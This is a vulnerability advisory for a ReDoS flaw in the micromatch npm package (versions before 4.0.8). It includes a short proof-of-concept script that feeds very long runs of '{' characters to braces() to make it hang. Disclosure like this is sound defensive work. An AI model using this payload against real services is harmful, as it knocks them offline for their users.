Summary
The NPM package micromatch prior to 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything, which can cause the application to hang or slow down. This issue should be mitigated by using a safe pattern that won’t start backtracking the regular expression due to its greedy matching.
Product
This vulnerability affects versions of the NPM package micromatch prior to 4.0.8.
Impact
This vulnerability can cause the application to hang or slow down, resulting in a Denial of Service.
Steps to reproduce
- Install micromatch with “npm”:
npm install --save micromatch
- Create a
poc.jsfile with the following code:
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.n`);
} - Execute the proof-of-concept file with
node poc.js.
Expected result:
When executing the proof-of-concept, observe how the response becomes slower on each iteration. If you change the braces { on the payload variable to another character, such as a, the script should execute immediately.
Remediation
A fix was merged in the pattern matching. However, further testing shows the issue still persists.
Credit
This issue was discovered and reported by Checkmarx AppSec Analyst Mário Teixeira.
